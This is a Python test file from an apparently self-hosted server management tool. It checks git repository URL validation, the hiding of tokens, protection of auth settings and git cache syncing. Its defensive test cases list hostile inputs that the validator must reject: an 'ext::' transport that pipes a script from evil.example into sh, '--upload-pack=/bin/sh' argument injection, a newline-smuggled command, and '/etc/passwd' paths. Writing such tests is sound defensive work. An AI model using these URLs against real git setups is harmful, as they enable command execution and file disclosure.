bes-r/server-up
1
0
Fork 0
Code Issues Pull requests Projects Releases 8 Packages Wiki Activity Actions
server-up/tests/test_repo_urls.py
Ramon b40a6a5a4c
All checks were successful
Deploy server-up (dev) / deploy (push) Successful in 5m17s
Details
feat(apps): toon uit welk sjabloon een app gerenderd wordt 
Sjablonen komen uit de git-cache van een app-repo. Loopt die achter, dan trekt
'Instellingen wijzigen' een oude versie over een werkende app heen zonder dat
iets dat zegt — precies wat er bij UniFi gebeurde.

- git.cache_status geeft commit, datum, synchronisatiemoment en de VERSION uit
  de cache terug.
- /api/repos en /api/stacks/<naam>/config sturen die stand mee, met een
  outdated-vlag als de repo-VERSION ouder is dan de draaiende versie.
- Het wijzigscherm toont repo, branch en hoe lang geleden er opgehaald is, en
  waarschuwt bij een achterlopende cache.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01H9Vcwu7owJZ3nj5dCf4VFT
2026-08-06 23:21:21 +02:00

441 lines
18 KiB
Python
Raw Blame History

"""Git-URL-validatie. `ext::` voert een shell-commando uit, `file://` legt
lokale paden bloot — beide horen niet in een door de gebruiker opgegeven URL."""
import pytest
from conftest import login
@pytest.mark.parametrize("url", [
"https://github.com/bes-r/server-up.git",
"http://10.0.20.22:3000/bes-r/server-up.git",
"ssh://git@example.com/bes-r/server-up.git",
"git@github.com:bes-r/server-up.git",
])
def test_toegestane_urls(env, url):
assert env["core"].valid_repo_url(url) is True
@pytest.mark.parametrize("url", [
'ext::sh -c "curl evil.example/x.sh | sh"',
"file:///etc",
"/etc/passwd",
"--upload-pack=/bin/sh",
"",
"https://example.com/repo.git\next::sh -c id",
])
def test_geweigerde_urls(env, url):
assert env["core"].valid_repo_url(url) is False
def test_repo_toevoegen_weigert_ext_transport(client):
csrf = login(client)
r = client.post("/api/repos", json={"url": 'ext::sh -c "id"'},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 400
assert client.get("/api/repos").get_json() is not None
def test_clone_weigert_ext_transport_uit_oude_config(env):
"""Vangnet: ook een repo die al in config.json stond wordt geweigerd."""
from core import git
ok, msg = git.clone_or_pull({"id": "boos", "url": 'ext::sh -c "id"'})
assert ok is False
assert "niet-toegestane" in msg
def test_repos_endpoint_lekt_geen_token(client, env):
csrf = login(client)
client.post("/api/repos",
json={"url": "https://example.com/geheim.git", "token": "s3cr3t-token"},
headers={"X-CSRF-Token": csrf})
body = client.get("/api/repos").get_data(as_text=True)
assert "s3cr3t-token" not in body
assert "has_token" in body
settings = client.get("/api/settings").get_data(as_text=True)
assert "s3cr3t-token" not in settings
def test_settings_put_wist_bestaand_token_niet(client, env):
csrf = login(client)
client.post("/api/repos",
json={"id": "mijn", "url": "https://example.com/x.git", "token": "blijf-staan"},
headers={"X-CSRF-Token": csrf})
repos = client.get("/api/repos").get_json()
client.put("/api/settings", json={"APP_REPOS": repos},
headers={"X-CSRF-Token": csrf})
stored = env["core"].load()["APP_REPOS"]
mijn = next(r for r in stored if r["id"] == "mijn")
assert mijn["token"] == "blijf-staan"
def test_settings_put_kan_auth_niet_overschrijven(client, env):
csrf = login(client)
client.put("/api/settings",
json={"AUTH": {"mode": "proxy", "users": {}, "trusted_proxies": ["0.0.0.0/0"]}},
headers={"X-CSRF-Token": csrf})
import core.auth as auth
assert auth.settings()["mode"] == "local"
assert "tester" in auth.settings()["users"]
# ── Bijwerken van de cache ───────────────────────────────────────────────────
# `git pull --rebase` leunt op de upstream-instellingen van de lokale kloon.
# Die kunnen ontsporen, en de branch uit de instellingen werd er sowieso niet
# door gevolgd.
def _repo_met_twee_takken(tmp_path):
import subprocess as sp
bron = tmp_path / "bron"
bron.mkdir()
def g(*a):
return sp.run(["git", *a], cwd=str(bron), capture_output=True,
text=True, check=True)
g("init", "-qb", "main", ".")
g("config", "user.email", "t@t")
g("config", "user.name", "t")
(bron / "app.txt").write_text("van main")
g("add", "app.txt")
g("commit", "-qm", "main")
g("checkout", "-qb", "dev")
(bron / "app.txt").write_text("van dev")
g("commit", "-qam", "dev")
g("checkout", "-q", "main")
return bron
def test_bijwerken_volgt_de_ingestelde_branch(env, tmp_path, monkeypatch):
"""`git pull` haalde altijd de tak op waarop ooit gekloond was. Zette je de
branch in de instellingen om, dan gebeurde er stilzwijgend niets."""
import shutil as _shutil
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
bron = _repo_met_twee_takken(tmp_path)
# file:// is normaal niet toegestaan; hier gaat het om het bijwerken zelf.
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
ok, msg = git.clone_or_pull(repo)
assert ok, msg
cache = git.cache_dir("proef")
assert (cache / "app.txt").read_text() == "van main"
repo["branch"] = "dev"
ok, msg = git.clone_or_pull(repo)
assert ok, msg
assert (cache / "app.txt").read_text() == "van dev", \
"de gewijzigde branch werd genegeerd"
def test_bijwerken_overleeft_een_ontspoorde_upstream(env, tmp_path, monkeypatch):
"""Twee waarden in `branch.<tak>.merge` lieten git stoppen met "Cannot
rebase onto multiple branches" — en daarmee werkte er niets meer bij."""
import shutil as _shutil
import subprocess as sp
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
bron = _repo_met_twee_takken(tmp_path)
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
assert git.clone_or_pull(repo)[0]
cache = git.cache_dir("proef")
sp.run(["git", "config", "remote.origin.fetch",
"+refs/heads/*:refs/remotes/origin/*"], cwd=str(cache), check=True)
sp.run(["git", "config", "--add", "branch.main.merge", "refs/heads/dev"],
cwd=str(cache), check=True)
ok, msg = git.clone_or_pull(repo)
assert ok, f"bijwerken struikelt over de upstream-instellingen: {msg}"
assert "multiple branches" not in msg
def test_lokale_rommel_in_de_cache_blokkeert_niets(env, tmp_path, monkeypatch):
"""De cache is van Server Up; wat er lokaal in gewijzigd is mag het
bijwerken niet tegenhouden."""
import shutil as _shutil
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
bron = _repo_met_twee_takken(tmp_path)
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
assert git.clone_or_pull(repo)[0]
(git.cache_dir("proef") / "app.txt").write_text("met de hand gewijzigd")
ok, msg = git.clone_or_pull(repo)
assert ok, msg
assert (git.cache_dir("proef") / "app.txt").read_text() == "van main"
def test_een_kapotte_cache_haalt_zichzelf_opnieuw_op(env, tmp_path, monkeypatch):
""""fatal: shallow file has changed since we read it" liet een repo achter
die zich niet meer liet bijwerken, en daarmee een lege app store.
De cache bevat niets dat bewaard hoeft te blijven, dus opnieuw ophalen is
het antwoord op elke fout — niet alleen op deze."""
import shutil as _shutil
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
bron = _repo_met_twee_takken(tmp_path)
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
assert git.clone_or_pull(repo)[0]
cache = git.cache_dir("proef")
# Een `.git/shallow` met onzin erin: precies wat een halverwege afgebroken
# fetch achterlaat.
(cache / ".git" / "shallow").write_text("dit is geen commit\n", encoding="utf-8")
(cache / "app.txt").unlink()
regels = []
ok, msg = git.clone_or_pull(repo, log_fn=regels.append)
assert ok, f"de cache herstelt zichzelf niet: {msg}"
assert (cache / "app.txt").read_text() == "van main"
assert any("opnieuw op" in r for r in regels), regels
def test_twee_synchronisaties_tegelijk_botsen_niet(env, tmp_path, monkeypatch):
"""Bij het opstarten wordt alles gesynchroniseerd; ondertussen kan iemand
op Synchroniseren drukken. Twee `git fetch` in dezelfde map leveren
"shallow file has changed" op en laten de cache halverwege achter."""
import shutil as _shutil
import threading
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
bron = _repo_met_twee_takken(tmp_path)
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
assert git.clone_or_pull(repo)[0]
tegelijk = []
bezig = threading.Lock()
echt = git.subprocess.run
def merk_op(cmd, **kw):
if cmd[:2] == ["git", "fetch"]:
if not bezig.acquire(blocking=False):
tegelijk.append(cmd)
else:
try:
return echt(cmd, **kw)
finally:
bezig.release()
return echt(cmd, **kw)
monkeypatch.setattr(git.subprocess, "run", merk_op)
draden = [threading.Thread(target=git.clone_or_pull, args=(dict(repo),))
for _ in range(4)]
for d in draden:
d.start()
for d in draden:
d.join(timeout=60)
assert not tegelijk, f"{len(tegelijk)} fetches liepen door elkaar heen"
assert (cache_na := (git.cache_dir("proef") / "app.txt")).read_text() == "van main", cache_na
def test_dubbele_repo_ids_komen_maar_een_keer_terug(client, env):
"""De interface tekent de repolijst met `:key="repo.id"`. Dubbele keys zijn
voor Alpine ongedefinieerd gedrag: je krijgt ontbrekende blokken terwijl de
tellers doorrekenen — een dalend getal onder een leeg scherm."""
import core
from conftest import login
login(client)
core.patch({"APP_REPOS": [
{"id": "server-up", "url": "https://voorbeeld/a.git", "name": "A"},
{"id": "boilerplates", "url": "https://voorbeeld/b.git", "name": "B"},
{"id": "server-up", "url": "https://voorbeeld/c.git", "name": "C"},
{"url": "https://voorbeeld/d.git", "name": "zonder id"},
]})
d = client.get("/api/repos").get_json()
ids = [r["id"] for r in d]
assert ids == ["server-up", "boilerplates"], ids
assert len(ids) == len(set(ids)), "er zitten nog dubbele ids in"
def test_verwijderen_haalt_alle_regels_met_die_id_weg(client, env):
"""Een dubbele vermelding hoort in één keer weg. En een regel zonder id
mag hier geen 500 geven — dezelfde fout die /api/repos had."""
import core
from conftest import login
csrf = login(client)
core.patch({"APP_REPOS": [
{"id": "server-up", "url": "https://voorbeeld/a.git"},
{"id": "blijft", "url": "https://voorbeeld/b.git"},
{"id": "server-up", "url": "https://voorbeeld/c.git"},
{"url": "https://voorbeeld/d.git"},
]})
r = client.delete("/api/repos/server-up", headers={"X-CSRF-Token": csrf})
assert r.status_code == 200, r.get_json()
over = core.load()["APP_REPOS"]
assert [x.get("id") for x in over] == ["blijft", None], over
# ── Een bestaande repo aanpassen ─────────────────────────────────────────────
def test_branch_van_bestaande_repo_wijzigen(client, env):
"""De id van een repo staat in de metadata van elke stack die eruit komt.
Wie van branch wilde wisselen kon alleen verwijderen en opnieuw toevoegen;
de id kreeg er dan een volgnummer bij en het bronsjabloon van bestaande
apps was ineens onvindbaar.
"""
csrf = login(client)
client.post("/api/repos",
json={"url": "https://example.com/eigen-apps.git", "branch": "main",
"subdir": "apps"},
headers={"X-CSRF-Token": csrf})
r = client.put("/api/repos/eigen-apps", json={"branch": "dev"},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 200, r.get_json()
repo = next(x for x in client.get("/api/repos").get_json()
if x["id"] == "eigen-apps")
assert repo["branch"] == "dev"
# De rest blijft staan; alleen wat je meestuurt verandert.
assert repo["subdir"] == "apps"
assert repo["url"] == "https://example.com/eigen-apps.git"
def test_bewerken_van_onbekende_repo(client, env):
csrf = login(client)
r = client.put("/api/repos/bestaatniet", json={"branch": "dev"},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 404
def test_bewerken_wist_een_bestaand_token_niet(client, env):
"""De interface krijgt het token nooit te zien, dus stuurt hij het leeg
terug. Dat mag geen repo zonder toegang opleveren."""
csrf = login(client)
client.post("/api/repos",
json={"url": "https://example.com/prive.git", "token": "s3cr3t-token"},
headers={"X-CSRF-Token": csrf})
r = client.put("/api/repos/prive", json={"branch": "dev", "token": ""},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 200
assert "s3cr3t-token" not in r.get_data(as_text=True)
from core import config as _cfg # noqa: F401
import core
repo = next(x for x in core.load()["APP_REPOS"] if x["id"] == "prive")
assert repo["token"] == "s3cr3t-token"
assert repo["branch"] == "dev"
def test_bewerken_weigert_een_ongeldige_url(client, env):
csrf = login(client)
client.post("/api/repos", json={"url": "https://example.com/proef.git"},
headers={"X-CSRF-Token": csrf})
r = client.put("/api/repos/proef", json={"url": 'ext::sh -c "id"'},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 400
def test_viewer_mag_geen_repo_bewerken(client, env):
csrf = login(client)
client.post("/api/repos", json={"url": "https://example.com/proef.git"},
headers={"X-CSRF-Token": csrf})
client.post("/api/auth/users",
json={"username": "kijker", "password": "eenlangwachtwoord",
"role": "viewer"}, headers={"X-CSRF-Token": csrf})
kijker = client.post("/api/auth/login",
json={"username": "kijker", "password": "eenlangwachtwoord"}
).get_json()["csrf_token"]
assert client.put("/api/repos/proef", json={"branch": "dev"},
headers={"X-CSRF-Token": kijker}).status_code == 403
# ── Herkomst van een sjabloon ────────────────────────────────────────────────
def test_repolijst_toont_de_stand_van_de_cache(client, env, tmp_path, monkeypatch):
"""Sjablonen komen uit de git-cache, niet uit het image. Loopt die achter,
dan rendert een app een oude versie terwijl de code nieuw is — en daar was
aan niets te zien."""
import shutil as _shutil
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
csrf = login(client)
bron = _repo_met_twee_takken(tmp_path)
(git.cache_dir("proef")).parent.mkdir(parents=True, exist_ok=True)
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
client.post("/api/repos", json={"url": f"file://{bron}", "id": "proef",
"branch": "main"},
headers={"X-CSRF-Token": csrf})
ok, msg = git.clone_or_pull({"id": "proef", "url": f"file://{bron}",
"branch": "main"})
assert ok, msg
repo = next(r for r in client.get("/api/repos").get_json() if r["id"] == "proef")
assert repo["cache"]["cloned"] is True
assert repo["cache"]["commit"]
assert repo["cache"]["synced_at"] > 0
def test_achterlopende_repo_wordt_gemeld(client, env, tmp_path, monkeypatch):
"""Precies het geval dat drie releases lang onzichtbaar bleef: de repo staat
op een oudere versie dan Server Up zelf."""
import shutil as _shutil
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
csrf = login(client)
bron = _repo_met_twee_takken(tmp_path)
(bron / "VERSION").write_text("0.0.01-beta\n")
import subprocess as sp
sp.run(["git", "add", "-A"], cwd=bron, check=True, capture_output=True)
sp.run(["git", "commit", "-qm", "versie"], cwd=bron, check=True,
capture_output=True)
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
client.post("/api/repos", json={"url": f"file://{bron}", "id": "oud",
"branch": "main"},
headers={"X-CSRF-Token": csrf})
git.clone_or_pull({"id": "oud", "url": f"file://{bron}", "branch": "main"})
repo = next(r for r in client.get("/api/repos").get_json() if r["id"] == "oud")
assert repo["cache"]["version"] == "0.0.01-beta"
assert repo["cache"]["outdated"] is True
def test_repo_zonder_versiebestand_heet_niet_verouderd(env):
import app as app_module
assert app_module._cache_loopt_achter("") is False
assert app_module._cache_loopt_achter("geen-versie") is False
assert app_module._cache_loopt_achter("99.9.99") is False
def test_wijzigscherm_kent_de_herkomst_van_het_sjabloon(client, env):
"""Het scherm waar je op opslaan drukt hoort te zeggen waaruit hij rendert."""
import json as _json
csrf = login(client)
d = env["lib"] / "web"
d.mkdir(parents=True, exist_ok=True)
(d / "docker-compose.yml").write_text("services:\n web:\n image: nginx\n")
(d / ".serverup.json").write_text(_json.dumps({
"source": "keuzeapp", "repo_id": "server-up", "values": {"port": 80}}))
from core import git
wortel = git.cache_dir("server-up") / "apps" / "keuzeapp"
(wortel / "files").mkdir(parents=True, exist_ok=True)
(wortel / "template.json").write_text(_json.dumps({
"kind": "compose", "metadata": {"name": "keuzeapp"}, "variables": []}))
(wortel / "files" / "compose.yaml").write_text("services:\n web:\n image: nginx\n")
d2 = client.get("/api/stacks/web/config").get_json()
assert d2["ok"] is True
assert d2["source_repo"]["id"] == "server-up"
assert d2["source_repo"]["branch"]
Reference in a new issue View git blame Copy permalink